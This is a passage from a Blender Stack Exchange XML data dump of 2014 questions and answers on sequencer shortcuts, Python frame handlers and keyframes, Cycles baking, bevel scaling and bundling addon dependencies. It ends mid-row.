  <row Id="12272" PostTypeId="2" ParentId="12268" CreationDate="2014-06-16T11:48:41.833" Score="3" Body="&lt;p&gt;The default shortcut to change view type in the sequencer is &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one shortcut cycles through each display option.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-06-16T11:48:41.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12273" PostTypeId="2" ParentId="12269" CreationDate="2014-06-16T12:07:06.343" Score="10" Body="&lt;p&gt;You could change the brush: There are &lt;code&gt;Add&lt;/code&gt; and &lt;code&gt;Subtract&lt;/code&gt; brushes (and more for all blend modes) which will set all options of the selected brush including the blend mode. So you can even configure more settings of the brushes and select them with one shortcut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number keys (not on the number pad) are used as shortcuts for the brushes. You can select the &lt;code&gt;Add&lt;/code&gt; brush with &lt;kbd&gt;1&lt;/kbd&gt; and the &lt;code&gt;Subtract&lt;/code&gt; brush with &lt;kbd&gt;9&lt;/kbd&gt;. They are numbered from one to nine in the same ordering as they appear in the brush selection.&lt;/p&gt;&#xA;" OwnerUserId="633" LastEditorUserId="633" LastEditDate="2014-06-16T12:35:40.767" LastActivityDate="2014-06-16T12:35:40.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12274" PostTypeId="1" AcceptedAnswerId="12276" CreationDate="2014-06-16T13:32:52.030" Score="0" ViewCount="1302" Body="&lt;p&gt;i like to measure the distance a object has traveled over time. But i fail already at saving the current vector.&#xA;The result for test and location are always (except first frame change where test = &#xA;At any other frame change test and location show equal results. Where is my mistake? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import *&#xA;from math import *&#xA;test = Vector((0,0,0))&#xA;def my_handler(scene):&#xA;    global test&#xA;    print('test:'+str(test))&#xA;    location = bpy.data.objects['cube1'].location&#xA;    print(location)&#xA;    test = location&#xA;&#xA;for i in range(len(bpy.app.handlers.frame_change_post)):&#xA;    bpy.app.handlers.frame_change_post.pop()&#xA;bpy.app.handlers.frame_change_post.append(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An example &quot;print&quot; result:&#xA;test:&#xA;&#xA;test:&#xA;&lt;/p&gt;&#xA;" OwnerUserId="2488" LastActivityDate="2014-06-16T19:05:01.480" Title="save location vector of an object" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12275" PostTypeId="1" AcceptedAnswerId="12283" CreationDate="2014-06-16T14:26:42.083" Score="5" ViewCount="3686" Body="&lt;p&gt;I've been using Blender for a few months to make the models for a game (actual game engine is Unity Free). I'm new to Blender and 3D modelling in general, so please be patient with me if I'm doing something stupid or I use the wrong terminology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, I got the Blender 2.71 testbuild 2 and I've been using it for baking in my Cycles materials for my game. It's been working pretty good, but for one of my models it isn't working. I go and press &quot;Bake&quot; with bake type set to &quot;Combined&quot; and I wait there for an hour or so and instead of baking the model in full color (like it normally does), the UV's are all black (see &quot;combined bake.png&quot;). Am I doing something wrong here? (I've uploaded my .blend file if anyone wants to see it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this is how I normally do cycles baking (this has worked for my other models): First, I go into edit mode and do a Smart UV project. Then I go into one of my materials and open up the node editor. I add a Texture Coordinate node. Then I add an Image Texture node and set the file to whichever file I want to bake to. I then take the UV from the Texture Coordinate and put it into the Vector node in the Image Texture. I repeat the process for each of the object's materials. Then I go to Render&gt;Bake and press Bake with the type set to combined bake. This normally does work for my other models. The only thing different with this one is that there is a crystal thing hovering over the object I'm baking. The crystal has a strong emission shader. Is there anything wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using 1000 samples if anyone wants to know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: I tried this on the Blender 2.71 RC1 from &lt;a href=&quot;http://ftp.nluug.nl/pub/graphics/ble...e/Blender2.71/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ftp.nluug.nl/pub/graphics/ble...e/Blender2.71/&lt;/a&gt; that just came out - still no luck.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;rendered.png&lt;/strong&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cxDXU.png&quot; alt=&quot;Rendered image using 1000 samples.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;combined bake.png&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/94FA2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/rt7215trlsx3c82/full%20file.blend&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;My blend file that I&amp;#39;m using for this model.&quot;&gt;&lt;strong&gt;full file.blend&lt;/strong&gt; This my blend file that I'm using for this model.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4829" LastEditorUserId="4829" LastEditDate="2017-04-08T02:54:42.883" LastActivityDate="2017-04-08T02:54:42.883" Title="Cycles baking testbuild gives black image (no displacement used)" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12276" PostTypeId="2" ParentId="12274" CreationDate="2014-06-16T15:33:39.830" Score="1" Body="&lt;p&gt;The print statement worked fine for me. My approach would be to collect the positions in a list and iterate at the last frame over the list to determine the length. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import *&#xA;from math import *&#xA;&#xA;test = Vector((0,0,0))&#xA;locations = [] # list to hold all locations between start and end frame&#xA;&#xA;def my_handler(scene):&#xA;    if scene.frame_current == scene.frame_start:&#xA;        locations.clear()&#xA;    if scene.frame_current == scene.frame_end:&#xA;        total_len = 0&#xA;        for i in range(len(locations)-1):&#xA;            d = locations[i] - locations[i+1]&#xA;            total_len += d.length&#xA;        print(&quot;length %f&quot; % total_len )&#xA;&#xA;    location = bpy.data.objects['cube1'].location&#xA;    locations.append(Vector(location))&#xA;    #print(location)&#xA;    #print(locations)&#xA;&#xA;bpy.app.handlers.frame_change_post.clear()&#xA;bpy.app.handlers.frame_change_post.append(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="1363" LastEditDate="2014-06-16T19:05:01.480" LastActivityDate="2014-06-16T19:05:01.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12277" PostTypeId="2" ParentId="12274" CreationDate="2014-06-16T18:17:26.950" Score="1" Body="&lt;p&gt;I encountered the same problem while trying to search for the location of a sphere. I fixed it by multiplying the location by the world matrix, i.e. :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;location = bpy.data.objects['cube1'].matrix_world * bpy.data.objects['cube1'].location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe it will work for you too.&lt;/p&gt;&#xA;" OwnerUserId="4854" LastActivityDate="2014-06-16T18:17:26.950" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12278" PostTypeId="2" ParentId="12270" CreationDate="2014-06-16T18:28:02.320" Score="5" Body="&lt;p&gt;Currently there is no way to animate weight paint directly &lt;em&gt;(unless you do so via some Python script)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you can use a texture to control particles with a texture, if the animation is simple. You can use offset to control the moment of the texture. The values that are of interest are highlighted in yellow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0K7tx.png&quot; alt=&quot;Particle Textures&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="55" LastEditDate="2014-06-17T05:45:35.537" LastActivityDate="2014-06-17T05:45:35.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12279" PostTypeId="2" ParentId="12270" CreationDate="2014-06-16T19:16:00.470" Score="9" Body="&lt;p&gt;Using &lt;em&gt;Dynamic Paint&lt;/em&gt; you can get something close to what you are looking for.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First you will need to add a Dynamic Paint &lt;em&gt;canvas&lt;/em&gt; to the plane you want with the vertex group.&lt;/li&gt;&#xA;&lt;li&gt;Add a object and assign it as a Dynamic Paint &lt;em&gt;brush&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Change the settings of the canvas object. The &lt;em&gt;Format&lt;/em&gt; should be &lt;em&gt;Vertex&lt;/em&gt; set &lt;em&gt;Surface type&lt;/em&gt; to &lt;em&gt;Weight&lt;/em&gt;. Note the name of the Dynamic Paint output vertex group (default is &lt;em&gt;dp_weight&lt;/em&gt;) and add a vertex group with the same name.&lt;/li&gt;&#xA;&lt;li&gt;To get the vertex group to fade out after the brush, enable the check mark &lt;em&gt;Fade:&lt;/em&gt; under the Dynamic Paint Advanced. Then change the &lt;em&gt;time&lt;/em&gt; slider down to something quicker suitable to your animation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/29832&quot;&gt;This&lt;/a&gt; is a example blend showing Dynamic Paint controlling the length of a hair Particle system.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-06-16T19:16:00.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12280" PostTypeId="1" AcceptedAnswerId="12281" CreationDate="2014-06-16T20:00:29.363" Score="0" ViewCount="20146" Body="&lt;p&gt;I'm completely new to Blender, I have animated some text with help from a tutorial, but that's it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first problem is, that i can't find the &quot;View Properties&quot; menu. I need to find it so I can change my &quot;Draw Distance&quot;. (I'm not sure if it is called &quot;Draw Distance&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6D3jb.png&quot; alt=&quot;First problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, so my second problem is this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wYUZv.png&quot; alt=&quot;What is this!?&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is so annoying. For example, I selected a plane to drag it, and when I tried to drag it, it looked like I dragged the thing from the picture above, and not the plane. Also, when i den drag the object selected, the 3D cursor doesn't follow the object, why?&lt;/p&gt;&#xA;" OwnerUserId="4857" LastEditorUserId="4857" LastEditDate="2014-06-17T06:34:43.053" LastActivityDate="2016-02-12T20:07:30.743" Title="Where are the settings for draw distance?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12281" PostTypeId="2" ParentId="12280" CreationDate="2014-06-16T20:15:46.270" Score="8" Body="&lt;p&gt;By draw distance, I'm guessing you mean &lt;em&gt;viewport clipping distance&lt;/em&gt;. Settings can be found in &lt;em&gt;3D view &gt; Properties region (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; View &gt; Clip&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oYIxc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That circle is called the 3D cursor. It's useful in many ways, once you get used to it ;) It is positioned by pressing LMB. To select and drag an object, use RMB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/3446/599&quot;&gt;How do I select an object in the 3D viewport?&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-06-16T20:15:46.270" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12282" PostTypeId="2" ParentId="12280" CreationDate="2014-06-16T20:50:54.720" Score="2" Body="&lt;p&gt;I would recomend to go first through the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual&quot; rel=&quot;nofollow&quot;&gt;The Interface Section&lt;/a&gt; of the Blender manual.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How far an object appears is controlled by its distance to the camera &lt;kbd&gt;Numpad&lt;/kbd&gt;-&lt;kbd&gt;0&lt;/kbd&gt; (Toggle camera view).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Left clicking places the mouse cursor (as gandalf3 already explained) when you create a new object it will appear at the position of the 3D-cursor. The 3D cursor has many other uses e.g. pivot point to rotate. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-16T20:50:54.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12283" PostTypeId="2" ParentId="12275" CreationDate="2014-06-16T20:53:01.663" Score="7" Body="&lt;p&gt;You need to recalculate the normals of the object (&lt;em&gt;Edit Mode&lt;/em&gt; &gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't, the normals will all face inward (where there is no light).&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-06-16T20:53:01.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12284" PostTypeId="1" CreationDate="2014-06-16T21:53:32.940" Score="1" ViewCount="781" Body="&lt;p&gt;If I want to add a keyframe in the graph editor, I know I can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.graph.keyframe_insert(type='ALL')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I suppose that if I change the 'ALL' to 'SEL', it will only apply to the selected channel, but if I want a script that changes multiple channels in different ways, how can I select them with python?&lt;/p&gt;&#xA;" OwnerUserId="3326" LastEditorUserId="3326" LastEditDate="2014-06-16T21:59:11.963" LastActivityDate="2014-06-17T09:00:52.273" Title="How do I add a keyframe for a certain channel using Python?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12285" PostTypeId="1" AcceptedAnswerId="12290" CreationDate="2014-06-16T23:17:35.417" Score="3" ViewCount="2388" Body="&lt;p&gt;Where do I put the Python packages my addon imports so Blender can find them? (There are some questions on this topic already but I can't find what I'm doing wrong.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine on my Linux system where I can install the dependencies to a standard Python path. But I understand Blender often comes with its own Python installation, and besides I want a way to bundle all the code together for a one-click install from zip file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I tried making it into a single package, that is &lt;code&gt;scripts/addons/my_addon/&lt;/code&gt; containing my code in &lt;code&gt;__init__.py&lt;/code&gt; and subdirectories for the dependencies. Blender finds &lt;code&gt;__init__.py&lt;/code&gt; fine, but &lt;code&gt;import&lt;/code&gt; fails even though the modules are right there in the same place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried putting the dependencies in &lt;code&gt;scripts/addons/modules/&lt;/code&gt;, though I don't like that because they could clobber different versions installed by another addon, and they stay there even if the user removes my addon through User Preferences. But this still isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &quot;six&quot; is a module that helps with python 2/3 portability; it's contained in a single file &lt;code&gt;six.py&lt;/code&gt;. From the Blender Python console on Windows:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-none prettyprint-override&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; print(sys.path[-1])&#xA;C:\Users\jwelsh\AppData\Roaming\Blender Foundation\Blender\2.70\scripts\addons\modules&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; print(imp.find_module('six')[1])&#xA;C:\Users\jwelsh\AppData\Roaming\Blender Foundation\Blender\2.70\scripts\addons\modules\six.py&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; import six&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;ImportError: No module named 'six'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4858" LastActivityDate="2014-06-17T12:50:49.507" Title="ImportError for module installed in scripts/addons/modules" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12286" PostTypeId="2" ParentId="12129" CreationDate="2014-06-17T01:15:50.660" Score="1" Body="&lt;p&gt;It is necesary to have &lt;strong&gt;two materials&lt;/strong&gt; and assign the respective faces to them according to texture they should be using. One material for the head and one for the body. Each using it's own texture.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How it's done:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Add new material to the object in &lt;strong&gt;Properties&lt;/strong&gt; by pressing the light grey button on the right with a white + in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name the old material &quot;&lt;strong&gt;Head&lt;/strong&gt;&quot; and disable the &lt;strong&gt;Body texture&lt;/strong&gt; in the &lt;strong&gt;Texture tab&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name the new material &quot;&lt;strong&gt;Body&lt;/strong&gt;&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the &quot;&lt;strong&gt;Head&lt;/strong&gt;&quot; material and press the dark grey button with the black arrow pointing down and choose &quot;&lt;strong&gt;Copy Material&lt;/strong&gt;&quot; and then select the Body material and click this arrow again and press &quot;&lt;strong&gt;Paste Mateiral&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go into &lt;strong&gt;edit mode&lt;/strong&gt;, select one face which should be using the body texture and press &lt;strong&gt;Shift+G&lt;/strong&gt; and choose &quot;&lt;strong&gt;Image&lt;/strong&gt;&quot;. This selects all faces that have the same texture mapped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now while having the faces selected click on the &lt;strong&gt;Body&lt;/strong&gt; material and press the &quot;&lt;strong&gt;Assign&lt;/strong&gt;&quot; button to assign selected faces to the material. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go into the &lt;strong&gt;Texture tab&lt;/strong&gt; and uncheck the &lt;strong&gt;Head texture&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;It should work now!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;One tip: always name your materials, naming objects is also good, but materials are more important because they get reused often.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Fixed blend file: &lt;a href=&quot;http://www.pasteall.org/blend/29840&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/29840&lt;/a&gt;&lt;/h2&gt;&#xA;" OwnerUserId="4859" LastActivityDate="2014-06-17T01:15:50.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12287" PostTypeId="2" ParentId="12270" CreationDate="2014-06-17T05:39:44.513" Score="11" Body="&lt;p&gt;I think you're looking for the &lt;strong&gt;Vertex Weight Proximity&lt;/strong&gt; modifier. It lets you assign vertex weights based on, for example, the distance to the target object's geometry, which you can animate per usual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://imgur.com/ePsfkCq.png&quot; alt=&quot;Vertex Weight Proximity&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3420" LastActivityDate="2014-06-17T05:39:44.513" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12288" PostTypeId="1" AcceptedAnswerId="12289" CreationDate="2014-06-17T07:10:56.453" Score="29" ViewCount="17124" Body="&lt;p&gt;I'll preface this by saying I'm very new to Blender - I'm trying to put a bevel on an edge, looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J28gz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the vertical side is much longer than the horizontal side.  When I apply to bevel to the edge there, the bevel stretches proportionally - so there's 'more' bevel on the longer side.  I want to bevel without any 'ratio' like that - just a 45-degree bevel, if that makes any sense.  Do I have to put in a loop cut to make the side lengths equal?  I tried using a sub-surf modifier, but it applies on a bunch of nearby edges, when I just want to round this one corner.&lt;/p&gt;&#xA;" OwnerUserId="4861" LastEditorUserId="2217" LastEditDate="2014-06-17T13:22:25.710" LastActivityDate="2018-07-17T11:22:22.777" Title="Why are the longer edges being beveled more?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12289" PostTypeId="2" ParentId="12288" CreationDate="2014-06-17T08:06:26.723" Score="41" Body="&lt;p&gt;Object transforms are sort of like a non-destructive &quot;offset&quot;, which is applied on top of the raw mesh data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you scale (or translate, rotate, etc.) an object in object mode, the actual mesh data is not affected. You can press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; to clear the object scale at any time and go back to the basic mesh (similarly, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; and &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; clear location and rotation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you edit an object in edit mode, the object will appear with the object transforms, but you are editing the mesh data directly (without any transforms).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;To visualize this, I'll use extruding, since it's effect is a bit more obvious than beveling.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z79iH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens in the gif:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I extrude the faces of the normal cube. As you can see, the extrusions are all the same size.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I then scale the originally unscaled cube along the X axis. The extrusions along that axis are larger, since the mesh data is being &quot;stretched&quot; along the X by the object scale.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I extrude the faces of the already scaled cube. Naturally, the two cubes are now roughly the same. It's sort of like I'm editing the normal unscaled cube which is then scaled up on the X each time it's displayed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I undo the extrusion on the scaled cube and apply the scale.&#xA;By applying the object transforms to the mesh data (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;), the underlying mesh data is modified according the object transforms (which are then reset).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now extruding the no-longer-scaled cube results in even extrusions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that object scale only has this effect when it's not uniform across the axes. For example, a scale of &lt;code&gt;3, 3, 3&lt;/code&gt; will not stretch the cube and make bevels or extrusions skewed, as all the axes are being stretched the same amount.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This goes for modifiers too. Modifiers operate on the base mesh data before it's adjusted by the object transforms.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-17T19:22:20.357" LastActivityDate="2014-06-17T19:22:20.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12290" PostTypeId="2" ParentId="12285" CreationDate="2014-06-17T08:27:48.030" Score="2" Body="&lt;p&gt;You can convert your single file based addon into to a module by creating a folder with the name of the intended module, ie &lt;code&gt;six&lt;/code&gt; and renaming &lt;code&gt;six.py&lt;/code&gt; to &lt;code&gt;__init__.py&lt;/code&gt;. This folder will be now recognised as a python module and loaded as an add-on because of the bl_info in the &lt;code&gt;__init__.py&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this setup, you can use it to store and segregate your add-on dependencies from other addons that you have installed. &#xA;This also has the added benefit of keeping things as you manage the contents of this folder and should not rely/assume other dependencies exist. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally you will want to use &lt;code&gt;..\scripts\addons\&lt;/code&gt; folder as the root directory for your add-on as the &lt;code&gt;..\scripts\addons\modules&lt;/code&gt; folder can be used to install shared dependencies by authors of modules, which you allured to could have conflicting versions. Also this folder may not exist if you have some custom install scripts and you will have to ensure its created. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the above setup then all you need to do is zip up the folder and it should be installable via Blender's addon installer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Didn't realise six.py was your dependancy. In which case the above will work for your main addon. Assuming that you have your dependency stored in a modules folder the following sample code will add it to the sys path.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Python dependencies are bundled inside the io_scene_nif/modules folder&#xA;_modules_path = os.path.join(os.path.dirname(__file__), &quot;modules&quot;)&#xA;if not _modules_path in sys.path:&#xA;    sys.path.append(_modules_path)&#xA;del _modules_path&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="175" LastEditorUserId="175" LastEditDate="2014-06-17T12:50:49.507" LastActivityDate="2014-06-17T12:50:49.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12291" PostTypeId="1" AcceptedAnswerId="12293" CreationDate="2014-06-17T08:40:29.170" Score="5" ViewCount="7191" Body="&lt;p&gt;I need to move vertices along axis Z GLOBAL but I don't find how to do it. I've tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.data.objects[&quot;object1&quot;] #the vertices belong to object1&#xA;mat = ob.matrix_world&#xA;matloc = ob.matrix_local&#xA;for i in range( 0, len(poligonos) ):&#xA;    v = mesh.getVertex(0, poligonos[i]) #poligonos is an array where I store the index of each vertex that I want to move&#xA;    glo = mat * v.XYZ&#xA;    glo.x = glo.x&#xA;    glo.y = glo.y&#xA;    glo.z = glo.z - 0.1&#xA;    aux = matloc * glo&#xA;    v.setXYZ([aux.x, aux.y, aux.z])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this code moves my vertices to weird locations and what I need is the vertices go down in 0.1 &lt;/p&gt;&#xA;" OwnerUserId="2821" LastEditorUserId="55" LastEditDate="2014-06-17T13:30:51.460" LastActivityDate="2014-06-17T13:30:51.460" Title="Moving vertices in global coordinates" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;vertices&gt;&lt;coordinates&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12292" PostTypeId="2" ParentId="12284" CreationDate="2014-06-17T09:00:52.273" Score="1" Body="&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/a/7127/2271&quot;&gt;this answer&lt;/a&gt; and these paragraphs &#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_0/info_quickstart.html#animation&quot; rel=&quot;nofollow noreferrer&quot;&gt;#1&lt;/a&gt;, &#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_0/bpy.types.bpy_struct.html?highlight=keyframe_insert#bpy.types.bpy_struct.keyframe_insert&quot; rel=&quot;nofollow noreferrer&quot;&gt;#2&lt;/a&gt;,&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_0/bpy.types.Keyframe.html#bpy.types.Keyframe&quot; rel=&quot;nofollow noreferrer&quot;&gt;#3&lt;/a&gt;,&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_0/bpy.types.FCurve.html?highlight=keyframe_points#bpy.types.FCurve.keyframe_points&quot; rel=&quot;nofollow noreferrer&quot;&gt;#4&lt;/a&gt;&#xA;in the docs for api methods/functions to create/manipulate channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might define your own function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_channel(action, data_path, index=0):&#xA;    for fcurve in action.fcurves:&#xA;        if fcurve.data_path == data_path and fcurve.array_index == index:&#xA;            return fcurve&#xA;    #nothing found&#xA;    return None&#xA;&#xA;action = bpy.data.actions['CubeAction']&#xA;data_path = &quot;location&quot;&#xA;index = 2&#xA;&#xA;fcurve = get_channel(action, data_path, index)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;https://blender.stackexchange.com/a/9368/2271&quot;&gt;this answer&lt;/a&gt; some options are given to find out the &lt;code&gt;data_path&lt;/code&gt; of a channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To select an fcurve in the UI you simply set its &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_0/bpy.types.FCurve.html?highlight=fcurve#bpy.types.FCurve.select&quot; rel=&quot;nofollow 